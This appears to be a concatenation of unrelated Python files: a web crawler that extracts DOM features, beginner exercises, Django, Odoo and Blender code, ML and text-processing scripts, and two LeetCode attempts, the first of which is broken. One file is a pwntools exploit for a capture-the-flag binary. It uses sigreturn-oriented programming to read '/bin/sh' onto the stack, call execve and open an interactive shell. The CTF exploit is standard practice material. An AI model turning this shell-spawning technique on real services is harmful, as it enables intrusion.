        browser (cef): Browser object that with the page already loaded and ready

    Returns:
        tuple (header, attributes, dom, body html): the header and attributes
        are list of attributes which together forms a feature table; dom is the
        raw attributes extracted by JS code, in form of list of lists; the body
        html is the rendered html code of the <body> part of the page

    Data dictionary of collect_features() output:
      id          [int] seq num of node in JS dom tree
      parent      [int] id of parent node
      tagname     [str] HTML tag name
      depth       [int] node count to its deepest descendent in dom tree (etree-based)
      childcount  [int] num of children
      sourceline  [int] line num of source code (etree-based, i.e. start from <body> tag)
      sourcepct   [float] percentage position of source line in HTML (etree-based, within <body>)
      pospct      [float] percentage postiion of node in the DOM (depth-first search of JS DOM)
      xpct        [float] percentage position of element's left edge to window width
      x           [int] pixel coordinate of left edge of element's bounding box to the page
      y           [int] pixel coordinate of top edge of element's bounding box to the page
      width       [int] pixel width of element's bounding box
      height      [int] pixel height of element's bounding box
      fgcolor     [str] foreground color, in form of rgb(255,255,255) or rgba(255,255,255,1.0)
      bgcolor     [str] background color, in form of rgb(255,255,255) or rgba(255,255,255,1.0)
      textxws     [int] character length of text excluding whitespaces
      textlen     [int] character length of text
      htmllen     [int] character length of HTML code
      visible     [bool] visibility of this element
      fontsize    [float] font size
      xpath       [str] xpath of element
      textclip    [str] starting and ending snippet of text
    '''
    dom = [[str2unicode(x) for x in row]
           for row in browser.getDOMdata(True)] # synchronous get, and make all string into unicode
    winparam = browser.windowParams
    winwidth = winparam['innerWidth']
    logger.debug("%d web elements found" % len(dom))
    bodyhtml = next((x[-1] for x in dom if x[0]=='/html/body'),'')
    assert(bodyhtml) # we assumed there must be a body
    domtree = html2dom(bodyhtml) # need to pretty format source before use
    objectify.deannotate(domtree, cleanup_namespaces=True)
    linecount = len(bodyhtml.split("\n"))

    # populate DOM tree geometry data
    xpathHash = {attrs[0]:i for i,attrs in enumerate(dom)}
    depthHash = {} # actually "height", distance from node to deepest leaf, based on lxml etree
    def findElementDepth(e):
        "e: lxml etree element node, find its depth in dom tree"
        if e not in depthHash:
            if len(e): # e has children
                depthHash[e] = 1 + max(findElementDepth(x) for x in e.iterchildren())
            else: # e has no children, by definition depth=0
                depthHash[e] = 0
        return depthHash[e]

    # collect element attributes:
    attributes = []
    for i,attrs in enumerate(dom):
        if i and (i % 1000 == 0):
            logger.debug('...on element #%d' % i)
        xpath, display, visible, x, y, width, height, fgcolor, bgcolor, fontsize, textonly, htmlcode = attrs
        if not xpath or re.search(r'[^a-z0-9\[\]\/]',xpath) or re.search(r'(?<!\w)(script|head)(?!\w)',xpath):
            continue # skip these to avoid pollution by JS or HTML header
        etreenode  = domtree.xpath(xpath)
        if len(etreenode) != 1:
            if not etreenode:
                logger.error('JS reported XPath cannot be found in lxml: %s' % xpath)
                continue
            else:
                logger.error('XPath not unique for %s. %d elements found.' % (xpath, len(etreenode)))
        parent     = xpathHash.get(xpath.rsplit('/',1)[0])
        tagname    = xpath.rsplit('/',1)[-1].split('[',1)[0]
        depth      = findElementDepth(etreenode[0])
        if etreenode:
            childcount = len(etreenode)
        else:
            childcount = len(n for n in xpathHash if n.startwith(xpath) and '/' not in n[len(xpath):])
        sourceline = etreenode[0].sourceline
        fgcolor    = fgcolor.replace(' ','')
        bgcolor    = bgcolor.replace(' ','')
        textonly   = condense_space(textonly) # text from JS retains word boundary by replacing tag with space while etree.tostring() just remove tags
        htmlcode   = condense_space(htmlcode)
        if not htmlcode: # JS cannot give out the HTML, use etree version instead
            htmlcode = condense_space(etree.tostring(etreenode[0], encoding='utf8', method='html').decode('utf8'))
        # derived data
        textlen, htmllen = len(textonly), len(htmlcode)
        textxws = sum(1 for c in textonly if c and not c.isspace()) # text length excluding whitespaces
        if not htmllen:
            logger.error('empty HTML for tag %s on line %s at (%s,%s)+(%s,%s)' % (tagname, sourceline, x,y,width,height))
        textclip   = abbreviate(textonly)
        sourcepct  = sourceline/linecount
        xpct       = x/winwidth
        pospct     = (i+1)/len(dom)
        # remember this
        attributes.append([i, parent, tagname, depth, childcount, sourceline, sourcepct, pospct, xpct, x, y,
            width, height, fgcolor, bgcolor, textxws, textlen, htmllen, min(visible,display), fontsize,
            xpath, textclip])

    header = ("id parent tagname depth childcount sourceline sourcepct pospct xpct x y width height "
              "fgcolor bgcolor textxws textlen htmllen visible fontsize xpath textclip").split()
    return header, attributes, dom, bodyhtml

###################################
# main program
#

def parseargs():
    parser = argparse.ArgumentParser(description='Crawl webpage(s) and analyse for DOM features'
                                    ,formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("url", help="URL to crawl or text file containing URLs in lines")
    parser.add_argument("-d", dest="dir", default='training_data', help="directory to store pages")
    parser.add_argument("-s", dest="sleep", default=0, type=int, help="delay between page load and processing")

    parser.add_argument("-x", dest="debug", action="store_true", default=False, help="debug: to save lxml parsed version of the web page as well")

    parser.add_argument("-v", dest="verbose", action='store_true', default=False, help="show verbose debug message")
    parser.add_argument("-q", dest="quiet", action='store_true', default=False, help="show no message")
    return parser.parse_args()

def crawl_url(browser, url , savedir, debug=False, delay=0):
    html = url2filenames(url)
    browser.LoadUrl(escape_url(url), synchronous=True)
    logger.info('Fetched '+url)
    if delay:
        time.sleep(delay)
    # save raw page
    htmlfile = os.path.join(savedir, html)
    with open(htmlfile, 'wb') as srcfp:
        html = browser.getSource(True) # synchronous get
        assert(html)
        srcfp.write(html)
        logger.debug('Wrote to %s' % htmlfile)
    # parse page for features, get attribute table
    logger.info('Extracting features')
    header, attributes, dom, bodyhtml = collect_features(browser)
    logger.debug('%d elements with features extracted' % len(attributes))
    # write as CSV
    csvfile = htmlfile + '.csv'
    with open(csvfile, 'wb') as csvfp:
        csvfp.write(codecs.BOM_UTF8) # Excel requires BOM
        csvout = UnicodeWriter(csvfp)
        csvout.writerow(header)
        csvout.writerows([[any2unicode(x) for x in row] for row in attributes])
    logger.info('Wrote to %s' % csvfile)
    if debug:
        lxmlfile = htmlfile+'.lxml'
        domfile = htmlfile+'.raw.csv'
        with open(domfile, 'wb') as csvfp: # write DOM csv as recognized by JS
            csvfp.write(codecs.BOM_UTF8) # Excel requires BOM
            csvout = UnicodeWriter(csvfp)
            csvout.writerow(
                "xpath display visible x y width height fgcolor bgcolor fontsize "
                "textonly htmlcode".split()
            )
            csvout.writerows([[any2unicode(x) for x in row] for row in dom])
        logger.info('Wrote to %s' % domfile)
        with open(lxmlfile, 'wb') as fp:
            fp.write(bodyhtml.encode('utf8'))
        logger.info('Wrote to %s' % lxmlfile)

def crawlmain(browser, args):
    if os.path.exists(args.url):
        with open(args.url, 'r') as urlfp:
            for url in urlfp:
                crawl_url(browser, url.strip(), args.dir, args.debug, args.sleep)
    else:
        crawl_url(browser, args.url, args.dir, args.debug, args.sleep)
    # close browser, signal MessageLoop to stop
    browser.CloseBrowser()

def main():
    from utils import configLogger
    args = parseargs()
    configLogger(quiet=args.quiet, debug=args.verbose)
    browser = fakechrome(headless=True).getBrowser()
    logger.debug('Browser loaded')
    workthread = threading.Thread(target=crawlmain, args=(browser, args))
    workthread.start()
    logger.debug('Running CEF message loop')
    cef.MessageLoop() # blocking until browser closed
    logger.debug('Message loop end')
    workthread.join()
    cef.Shutdown()

if __name__ == '__main__':
    main()

# vim:set nowrap et ts=4 sw=4:


x='is'
y='my'
z='name'

c=y+ " " +z+ " " +x
print(c)

#Another Method to print
Name='Netra'
Name_1='Nik'
str='My Name is'
res='My Name is {}'.format(Name)
print(res)

res_1='My Name is {}'.format(Name_1)
print(res_1)

#When we have more than one input,then how to print
Gender='Female'
Age=24
Name_3='Netravati'
res_3='My name is {2} and my age is {1} and Gender is {0}'.format(Gender,Age,Name_3)
print(res_3)

# Another Method
Age=25
Name_4='Nikhil'
Res_4=f'My Name is {Name_4} and My Age is {Age}'
print(Res_4)


from loguru import logger

from mapper.asset import AssetHandler
from mapper.relationship import RelationshipHandler
from models import Session
from models.book import Chapter
from models.series import Series
from models.ip_mapping import (
    SeriesIP,
)

def map_ip_asset():
    unhandled_series = SeriesIP.get_unhandled_series()

    for series in unhandled_series:
        asset = AssetHandler()
        relationship_handler = RelationshipHandler(asset)
        # logger.info(f"\nSeries {series.title} {series.id}")

        ip_organization = asset.create_ip_organization(series)
        series_ip = SeriesIP(
            series_id=series.id,
            ip_organization_id=ip_organization.id,
            mapping_type="ip-org",
        )

        # config book, chapter, character in the asset
        asset.config_book(Series.get_series_books(series.id))
        asset.config_character(Series.get_series_characters(series.id))
        asset.config_chapter(Chapter.get_chapters_by_book_ids(asset.get_book_list()))

        # handle relationships
        relationship_handler.handle_character_book_relationships()
        relationship_handler.handle_chapter_book_relationships()

        with Session() as session:
            session.add(asset.get_ip_org())
            session.flush()
            session.bulk_save_objects(relationship_handler.get_relationship_types())
            session.flush()
            session.add(series_ip)
            session.flush()
            session.bulk_save_objects(asset.get_ip_assets())
            session.flush()
            session.bulk_save_objects(relationship_handler.get_relationships())
            session.commit()


from django.urls import path, include
from . import views

app_name = 'payment'

webhooks = [
    path('order/', views.OrderStatus.as_view(), name='order-status')
]

urlpatterns = [
    path('choose-payment/<int:id>/', views.choose_payment, name='choose-payment'),
    path('pay-by-card/<int:id>/', views.initiate_payment_card, name='initiate-payment-card'),
    path('pay-by-mob/<int:id>/', views.initiate_payment_mob, name='initiate-payment-mob'),
    path('error/', views.payment_error, name='error'),
    path('webhooks/', include((webhooks, 'webhooks'), namespace='webhooks')),
]


class Solution(object):
    def splitArray(self, nums, m):
        """
        :type nums: List[int]
        :type m: int
        :rtype: int
        """
        B = nums[:]
        for i in range(1, len(nums)):
            B[i] = nums[i] + B[i-1]
        avg = B[-1] / m
        B.append(0)
        prev = -1
        for i in range(0, len(nums)):
            if B[i] - B[prev] > avg:
                if B[i] - B[prev] - avg < avg - (B[i-1] - B[prev]):
                    res = max(B[i]-B[prev], res)
                    prev = i
                else:
                    res = max(B[i-1]-B[prev])
                    prev = i-1
                    if B[i] - B[prev] > avg:
                        res = max(B[i]-B[prev], res)
                        prev = i
        res = max(B[i]-B[prev])

class Solution:
    def splitArray(self, nums: List[int], m: int) -> int:
        n = len(nums)
        f = [[10**18] * (m + 1) for _ in range(n + 1)]
        sub = [0]
        for elem in nums:
            sub.append(sub[-1] + elem)

        f[0][0] = 0
        for i in range(1, n + 1):
            for j in range(1, min(i, m) + 1):
                for k in range(i):
                    f[i][j] = min(f[i][j], max(f[k][j - 1], sub[i] - sub[k]))

        return f[n][m]


#!/usr/bin/env python3
import os, npyscreen, curses, sys, time, string

class ActionControllerSearch(npyscreen.ActionControllerSimple):
	def create(self):
		self.add_action("^.*", self.set_search, True)

	def set_search(self, command_line, widget_proxy, live):
		global filtered_history_elements

		keywords = command_line.lower().split()
		filtered_history_elements = []

		for history_element in history_elements:
			if all(keyword in history_element[2].lower() for keyword in keywords): filtered_history_elements.append(history_element)

		self.parent.wMain.values = list(map(lambda x: x[2], filtered_history_elements))
		self.parent.wMain.display()

class FmSearchActive(npyscreen.FormMuttActiveTraditional):
	ACTION_CONTROLLER = ActionControllerSearch

	def execute_command_in_shell(self, act_on_this, key_press):
		with open(ACTION_FILE, "w") as action_file:
			action_file.write(act_on_this)
		sys.exit(10)

	def edit_command_in_shell(self, _ignore):
		command = filtered_history_elements[self.wMain.cursor_line][2]
		with open(ACTION_FILE, "w") as action_file:
			action_file.write(command)
		sys.exit(11)

	def create(self, *args, **kwargs):
		super(FmSearchActive, self).create(*args, **kwargs)
		self.wStatus1.value = "nh 0.1.0"
		self.wStatus2.value = "Type to search   [Enter] Execute   [TAB] Edit before execution   (Total: {} history lines)".format(len(history_elements))
		self.wMain.actionHighlighted = self.execute_command_in_shell
		self.wMain.values = list(map(lambda x: x[2], filtered_history_elements))
		self.wCommand.BEGINNING_OF_COMMAND_LINE_CHARS = (tuple(string.ascii_letters) + tuple(string.digits) + tuple(string.punctuation))
		self.wCommand.always_pass_to_linked_widget = ["^C", "^B", "^J", "^I"]  # Pass Arrow-Up, Arrow-Down and Enter to Multiline Widget
		self.wMain.add_handlers({curses.ascii.TAB: self.edit_command_in_shell})

class NH_App(npyscreen.NPSAppManaged):
	def onStart(self):
		global filtered_history_elements
		self.registerForm("MAIN", FmSearchActive())

if __name__ == '__main__':
	NH_HOME = os.environ["HOME"] + "/.nh"

	HISTORY_CONTENT_FILE = NH_HOME + "/history"
	ACTION_FILE = NH_HOME + "/action"

	with open(HISTORY_CONTENT_FILE, "r") as history_content_file:
		history_lines = history_content_file.readlines()

	if "HISTTIMEFORMAT" not in os.environ:
		WORDS_IN_HISTORY_TIME_FORMAT = 0
	else:
		WORDS_IN_HISTORY_TIME_FORMAT = os.environ["HISTTIMEFORMAT"].strip().count(" ") + 1

	history_elements = []

	for line in history_lines:
		split_line = line.split()
		line_index = split_line[0]
		line_timestamp = " ".join(split_line[1:WORDS_IN_HISTORY_TIME_FORMAT+1])
		line_command = " ".join(split_line[1+WORDS_IN_HISTORY_TIME_FORMAT:])
		history_elements.append([line_index, line_timestamp, line_command])

	# Overrides
	npyscreen.FormMutt.MAIN_WIDGET_CLASS = npyscreen.MultiLineAction
	npyscreen.FormMutt.MAIN_WIDGET_CLASS_START_LINE = 1

	filtered_history_elements = history_elements

	NH_App = NH_App()
	try:
		NH_App.run()
	except KeyboardInterrupt:
		sys.exit(0) #Allow to end the programm with STRG+C without throwing an exception


import numpy as np
import matplotlib.pyplot as plt

def learning_curve(estimator, X, y, cv, train_sizes=np.linspace(0.1, 1.0, 5)):
    """Learning curve.

    Determines cross-validated training and test scores for different training
    set sizes.

    A cross-validation generator splits the whole dataset k times in training
    and test data. Subsets of the training set with varying sizes will be used
    to train the estimator and a score for each training subset size and the
    test set will be computed. Afterwards, the scores will be averaged over
    all k runs for each training subset size.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    cv : cross-validation generator, optional
        Specific cross-validation objects can be passed, see
        sklearn.cross_validation module for the list of possible objects

    train_sizes : array-like, shape (n_ticks,), dtype float
        Relative numbers of training examples that will be used to
        generate the learning curve. If the dtype is float, it is regarded as a
        fraction of the maximum size of the training set (that is determined
        by the selected validation method), i.e. it has to be within (0, 1].
        (default: np.linspace(0.1, 1.0, 5))

    Returns
    -------
    train_sizes_abs : array, shape (n_unique_ticks,), dtype int
        Numbers of training examples that has been used to generate the
        learning curve. Note that the number of ticks might be less
        than n_ticks because duplicate entries will be removed.

    train_scores : array, shape (n_ticks, n_cv_folds)
        Scores on training sets.

    test_scores : array, shape (n_ticks, n_cv_folds)
        Scores on test set.
    """
    # Make a list since we will be iterating multiple times over the folds
    cv = list(cv)

    n_max_training_samples = len(cv[0][0])
    train_sizes_abs = np.round(train_sizes * n_max_training_samples)

    train_scores = []
    test_scores = []

    for train, test in cv:
        X_train, y_train, X_test, y_test = X[train], y[train], X[test], y[test]
        this_train_scores = []
        this_test_scores = []
        for n in train_sizes_abs:
            estimator.fit(X_train[:n], y_train[:n])
            this_train_scores.append(estimator.score(X_train[:n], y_train[:n]))
            this_test_scores.append(estimator.score(X_test, y_test))

        train_scores.append(this_train_scores)
        test_scores.append(this_test_scores)

    return train_sizes_abs, np.transpose(train_scores), np.transpose(test_scores)

def plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,
                        train_sizes=np.linspace(.1, 1.0, 5)):
    """Generate a simple plot of the test and traning learning curve.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    title : string
        Title for the chart.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    ylim : tuple, shape (ymin, ymax), optional
        Defines minimum and maximum yvalues plotted.

    cv : integer, cross-validation generator, optional
        If an integer is passed, it is the number of folds (defaults to 3).
        Specific cross-validation objects can be passed, see
        sklearn.cross_validation module for the list of possible objects

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).
    """
    plt.figure()
    plt.title(title)
    if ylim is not None:
        plt.ylim(*ylim)
    plt.xlabel("Training examples")
    plt.ylabel("Score")
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=cv, train_sizes=train_sizes)
    train_scores_mean = np.mean(train_scores, axis=1)
    train_scores_std = np.std(train_scores, axis=1)
    test_scores_mean = np.mean(test_scores, axis=1)
    test_scores_std = np.std(test_scores, axis=1)
    plt.grid()

    plt.fill_between(train_sizes, train_scores_mean - train_scores_std,
                     train_scores_mean + train_scores_std, alpha=0.1,
                     color="r")
    plt.fill_between(train_sizes, test_scores_mean - test_scores_std,
                     test_scores_mean + test_scores_std, alpha=0.1, color="g")
    plt.plot(train_sizes, train_scores_mean, 'o-', color="r",
             label="Training score")
    plt.plot(train_sizes, test_scores_mean, 'o-', color="g",
             label="Cross-validation score")

    plt.legend(loc="best")
    return plt


from openhpi_baselib.HpiDataTypes import *
from openhpi_baselib.HpiUtilGen import *

#**********************************************************
# HPI Utility Functions
#**********************************************************

#**********************************************************
# NB: toXXX raises ValueError if lookup fails
#**********************************************************

#**********************************************************
# Text Buffer Helpers
#**********************************************************

def fromSaHpiTextBufferT( tb ):
    if tb.DataType == SAHPI_TL_TYPE_UNICODE:
        # TODO
        raise ValueError()
    else:
        return tb.Data[0:tb.DataLength]

def toSaHpiTextBufferT( s ):
    if not isinstance( s, str ):
        # TODO
        raise ValueError()
    if len( s ) > SAHPI_MAX_TEXT_BUFFER_LENGTH:
        raise ValueError()
    tb = SaHpiTextBufferT()
    tb.DataType   = SAHPI_TL_TYPE_TEXT
    tb.Language   = SAHPI_LANG_ENGLISH
    tb.DataLength = len( s )
    tb.Data       = s.ljust( SAHPI_MAX_TEXT_BUFFER_LENGTH, chr(0) )
    return tb

#**********************************************************
# Entity Path Helpers
#**********************************************************
def makeUnspecifiedSaHpiEntityPathT():
    ep = SaHpiEntityPathT()
    ep.Entry = []
    for i in range( 0, SAHPI_MAX_ENTITY_PATH ):
        e = SaHpiEntityT()
        e.EntityType = SAHPI_ENT_UNSPECIFIED
        e.EntityLocation = 0
        ep.Entry.append( e )
    return ep

def makeRootSaHpiEntityPathT():
    ep = makeUnspecifiedSaHpiEntityPathT()
    ep.Entry[0].EntityType = SAHPI_ENT_ROOT
    ep.Entry[0].EntityLocation = 0
    return ep

def cloneSaHpiEntityPathT( ep ):
    if ep is None:
        return None
    ep2 = makeUnspecifiedSaHpiEntityPathT()
    for i in range( 0, SAHPI_MAX_ENTITY_PATH ):
        ep2.Entry[i].EntityType = ep.Entry[i].EntityType
        ep2.Entry[i].EntityLocation = ep.Entry[i].EntityLocation
    return ep2

def getSaHpiEntityPathTLength( ep ):
    for i in range( 0, SAHPI_MAX_ENTITY_PATH ):
        if ep.Entry[i].EntityType == SAHPI_ENT_ROOT:
            if ep.Entry[i].EntityLocation == 0:
                return i
    return SAHPI_MAX_ENTITY_PATH

def fromSaHpiEntityPathT( ep ):
    l = getSaHpiEntityPathTLength( ep )
    x = [ ( ep.Entry[i].EntityType, ep.Entry[i].EntityLocation ) for i in range( 0, l ) ]
    x.reverse()
    return "".join( [ "{%s,%d}" % ( fromSaHpiEntityTypeT( et ), el ) for ( et, el ) in x ] )

def toSaHpiEntityPathT( s ):
    ep = makeRootSaHpiEntityPathT()
    if len( s ) == 0:
        return ep
    if s.index( "{" ) != 0:
        raise ValueError()
    parts = s.split("{")[1:]
    parts.reverse()
    i = 0
    if len( parts ) > SAHPI_MAX_ENTITY_PATH:
        raise ValueError()
    for part in parts:
        if part[-1] != "}":
            raise ValueError()
        et_el = part[0:-1].split( "," )
        if len( et_el ) != 2:
            raise ValueError()
        ep.Entry[i].EntityType = toSaHpiEntityTypeT( et_el[0] )
        ep.Entry[i].EntityLocation = int( et_el[1] )
        i = i + 1
    if i < SAHPI_MAX_ENTITY_PATH:
        ep.Entry[i].EntityType = SAHPI_ENT_ROOT
        ep.Entry[i].EntityLocation = 0
    return ep


### Faça um programa que leia o valor da hora de trabalho (em reais) e numero de horas trabalhadas no mês.####
### Imprima o valor a ser pago ao funcionario , adicionado 10% sobre o valor calculado.###

horat=float(input(("digite o numero de horas trabalhadas:")))

valorHora=float(input(("Digite o valor das horas trabalhadas:")))

result=horat*valorHora
resultFinal=result*0.10

print("O Valor final do salario é ",result + resultFinal)


"""
Python interface for FANTASTIC:
http://www.doc.gold.ac.uk/isms/m4s/FANTASTIC_docs.pdf
"""

# Standard library imports
import os
import pkg_resources

# 3rd party imports
import rpy2.robjects as robjects

# Set the default folder with the FANTASTIC R scripts
FANTASTIC_folder = pkg_resources.resource_filename(__name__, "FANTASTIC")

def load(fantastic_dir=FANTASTIC_folder):
    """
    Load FANTASTIC into rp2 instance
    """

    # stores the working directory
    working_directory = os.getcwd()

    # Changes the directory to where FANTASTIC is located
    # loads in the Fantastic.R file.
    robjects.r["setwd"](fantastic_dir)
    robjects.r(
        """
         source('Fantastic.R')
         """
    )
    # return to the original working directory.
    robjects.r["setwd"](working_directory)

    return

def compute_features(mcsv_file_list, write_out=True):
    """
    Compute the fantastic features for the mcsv files in mcsv_file_list
    """
    assert isinstance(mcsv_file_list, list), "Must be a list of mcsv files"

    # call the compute features and return the dataframe
    return robjects.r["compute.features"](mcsv_file_list, write_out=write_out)

def compute_features_folder(mcsv_folder, write_out=True):
    """
    Compute the fantastic features for the mcsv files in mcsv_folder
    """
    # assert isinstance(mcsv_file_list, list), "Must be a list of mcsv files"

    # call the compute features and return the dataframe
    return robjects.r["compute.features"](dir=mcsv_folder, write_out=write_out)

def feature_similarity(
    mcsv_file_list,
    features=robjects.StrVector(
        [
            "p.range",
            "p.std",
            "p.entropy",
            "i.abs.range",
            "i.abs.mean",
            "i.abs.std",
            "i.mode",
            "i.entropy",
            "d.range",
            "d.median",
            "d.mode",
            "d.entropy",
            "d.eq.trans",
            "d.half.trans",
            "d.dotted.trans",
            "len",
            "glob.duration",
            "note.dens",
            "h.contour",
            "step.cont.glob.var",
            "step.cont.loc.var",
            "int.cont.glob.dir",
            "int.cont.grad.mean",
            "int.cont.grad.std",
            "tonalness",
            "tonal.clarity",
            "tonal.spike",
            "mode",
        ]
    ),
    eucl_stand=True,
):
    """
    Calculate the similarity between the mcsv files in mcsv_file_list
    """
    assert isinstance(mcsv_file_list, list), "Must be a list of mcsv files"

    return robjects.r["feature.similarity"](
        mcsv_file_list, features=features, eucl_stand=eucl_stand
    )


import glob
import nltk
from clean_text import normalize
from collections import Counter
from gensim.models import Phrases
from gensim.models.phrases import Phraser
from nltk.corpus import stopwords
import pandas as pd
import string
import re
from itertools import chain

briefings = glob.glob("../../data/interim/*.txt")

dates = []
remarks = []
for briefing in briefings:
    date = pd.to_datetime(briefing.split('_')[-1].split('.')[0], infer_datetime_format=True)
    with open(briefing,'r') as f:
        lines = f.readlines()
        for line in lines:
            # keep the longer remarks
            if len(line.split()) >= 16:
                # BERT cannot handle really long lines, so we split up any paragraphs that are too big
                if len(line.split()) > 120:
                    text = line.split('.')
                    num_sent = len(text)
                    len1 = num_sent//2
                    #print('\n',text)
                    #print(text[:len1])
                    #print(text[len1:])
                    remarks.append('.'.join(text[:len1]).rstrip().replace(r'’','\''))
                    dates.append(date)
                    remarks.append('.'.join(text[len1:]).rstrip().replace(r'’','\''))
                    dates.append(date)
                    #print(remarks[-2:])
                else:
                    remarks.append(line.rstrip().replace(r'’','\''))
                    dates.append(date)

df = pd.DataFrame({'date':dates,'text':remarks})

df['normalized_text'] = df['text'].apply(lambda x: normalize(x))

# make bigrams

sentences = df['normalized_text'].values
sentence_stream = [sentence.split() for sentence in sentences]
bigram = Phrases(sentence_stream, min_count=5, threshold=80)
trigram = Phrases(bigram[sentence_stream], threshold=80)
df['clean_text'] = df['normalized_text'].apply(lambda x: ' '.join(bigram[x.split()]))
df['clean_text'] = df['clean_text'].apply(lambda x: ' '.join(trigram[bigram[x.split()]]))

df.to_csv('trump_wh_remarks.csv')


from pwn import *
context(os="linux", arch="amd64")

def debug_on():
	if args.DEBUG:
		context.log_level = "debug"

g_fname = "./ciscn_s_3"
if args.REMOTE:
	g_io = remote(args.HOST, int(args.PORT))
else:
	g_io = process(g_fname)

def pwn():
	sys_ret_addr = 0x400517 # syscall; ret
	rax_15_addr = 0x4004DA # mov rax, 15
	vul_addr = 0x4004F1
	binsh_str = "/bin/sh\0".ljust(0x10, '\0')
	g_io.send(flat(binsh_str, vul_addr))
	g_io.recv(0x20)
	stack_addr = u64(g_io.recv(8))
	binsh_addr = (stack_addr - 0x1000) & (2**64 - 0x10)
	log.success("stack_addr=%#x\n", stack_addr)

	# construct sys_read(0, binsh_addr, 0x400)
	sf = SigreturnFrame()
	sf.rax = int(constants.SYS_read)
	sf.rdi = 0
	sf.rsi = binsh_addr # where "/bin/sh" locates.
	sf.rdx = 0x400
	sf.rip = sys_ret_addr
	sf.rsp = binsh_addr + 0x200

	payload_read = flat(['a'*16, rax_15_addr, sys_ret_addr, sf])
	pause()
	g_io.send(payload_read)

	# construct sys_execve("/bin/sh", 0, 0)
	sf = SigreturnFrame()
	sf.rax = int(constants.SYS_execve)
	sf.rdi = binsh_addr
	sf.rip = sys_ret_addr
	sf.rsp = stack_addr # Anywhere is ok.
	payload_exec = flat([binsh_str.ljust(0x200), rax_15_addr, sys_ret_addr, sf])
	pause()
	g_io.send(payload_exec)

if "__main__" == __name__:
	debug_on()
	pwn()
	g_io.interactive()


import math

import bpy
import random

import numpy as np
from mathutils import Euler
from .node import Nodes

ROT90_X = Euler([math.radians(90), 0, 0]).to_matrix().to_4x4()
ROTN90_X = Euler([math.radians(-90), 0, 0]).to_matrix().to_4x4()
ROT90_Y = Euler([0, math.radians(90), 0]).to_matrix().to_4x4()
ROTN90_Y = Euler([0, math.radians(-90), 0]).to_matrix().to_4x4()
ROT180_Y = Euler([0, math.radians(180), 0]).to_matrix().to_4x4()
ROT90_Z = Euler([0, 0, math.radians(90)]).to_matrix().to_4x4()
ROTN90_Z = Euler([0, 0, math.radians(-90)]).to_matrix().to_4x4()

def get_material(mat_name, model_ob):
    md = model_ob.data
    mat = bpy.data.materials.get(mat_name, None)
    if mat:
        if md.materials.get(mat.name, None):
            for i, material in enumerate(md.materials):
                if material == mat:
                    return i
        else:
            md.materials.append(mat)
            return len(md.materials) - 1
    else:
        mat = bpy.data.materials.new(mat_name)
        mat.diffuse_color = [random.uniform(.4, 1) for _ in range(3)] + [1.0]
        md.materials.append(mat)
        return len(md.materials) - 1

def get_or_create_collection(name, parent: bpy.types.Collection) -> bpy.types.Collection:
    new_collection = (bpy.data.collections.get(name, None) or
                      bpy.data.collections.new(name))
    if new_collection.name not in parent.children:
        parent.children.link(new_collection)
    new_collection.name = name
    return new_collection

def get_new_unique_collection(model_name, parent_collection):
    copy_count = len([collection for collection in bpy.data.collections if model_name in collection.name])

    master_collection = get_or_create_collection(model_name + (f'_{copy_count}' if copy_count > 0 else ''),
                                                 parent_collection)
    return master_collection

def append_blend(filepath, type_name, link=False):
    with bpy.data.libraries.load(filepath, link=link) as (data_from, data_to):
        setattr(data_to, type_name, [asset for asset in getattr(data_from, type_name)])
    for o in getattr(data_to, type_name):
        o.use_fake_user = True

def transform_vec3_array(vec3, matrix):
    tmp = np.zeros((len(vec3), 4), dtype=vec3.dtype)
    tmp[:, :3] = vec3
    tmp = tmp @ matrix
    return tmp[:, :3]

def transform_vec3(vec3, matrix):
    tmp = np.zeros((4,), dtype=np.float32)
    tmp[:3] = vec3
    tmp = tmp @ matrix
    return tmp[:3]


from odoo import models, fields, api, exceptions, _
from odoo.exceptions import AccessError, UserError, ValidationError
from datetime import datetime

class HrInductionMaster(models.Model):
	_name = 'hr.induction.master'
	_inherit = ['mail.thread']
	_description = 'Induction Master'

	name = fields.Char(string="Particulars")
	session_details = fields.Char(string="Session Details")
	responsibility = fields.Many2one('hr.department',string="Session Taken by/Responsibility")
	active = fields.Boolean('Active', default=True,help="If unchecked, it will allow you to hide the induction master without removing it.")
	induction_master_created_date = fields.Datetime(string="Induction Master Created",default=lambda self: fields.datetime.now(),track_visibility='onchange',readonly=True)

class HrInduction(models.Model):
	_name = 'hr.induction'
	_description = "Induction"
	_inherit = ['mail.thread']
	_order = 'id desc'

	@api.model
	def _default_induction_line(self):
		master = self.env['hr.induction.master']
		vals = []
		master_ids = master.search([])

		for line in master_ids:
			data={}
			data['session_details'] = line.session_details
			data['name'] = line.name
			data['responsibility'] = line.responsibility.id
			vals.append((0,0,data))
		return vals

	@api.model
	def default_get(self, fields):
		res = super(HrInduction, self).default_get(fields)
		emp_user_id = self.env.uid
		created_hr_employee_id = self.env['hr.employee'].search([('user_id', '=', emp_user_id)])
		if created_hr_employee_id:
			res['created_hr_employee_id'] = created_hr_employee_id.id
		return res

	name = fields.Char(string="Seq No.",track_visibility='onchange')
	seq_date = fields.Datetime(string="Seq Date",default=lambda self: fields.datetime.now())
	induction_created_date = fields.Date(string="Doc Date",default=lambda self: fields.date.today(),track_visibility='onchange',readonly=True)
	employee_id = fields.Many2one('hr.employee',string="Employee Name",track_visibility='onchange',required=True)
	employee_code = fields.Char(string="Employee Id",related="employee_id.employee_id",store=True)
	date_of_joining = fields.Date(string="Date of Joining",related="employee_id.joining_date",store=True)
	reporting_manager = fields.Many2one('hr.employee',string="Approver 1",related="employee_id.lone_manager_id",store=True)
	reporting_manager_user_id = fields.Many2one('res.users',string="Approver 1 User Id",related="employee_id.lone_manager_id.user_id",store=True)
	department = fields.Many2one('hr.department',string="Department",related="employee_id.department_id",store=True,track_visibility='onchange')
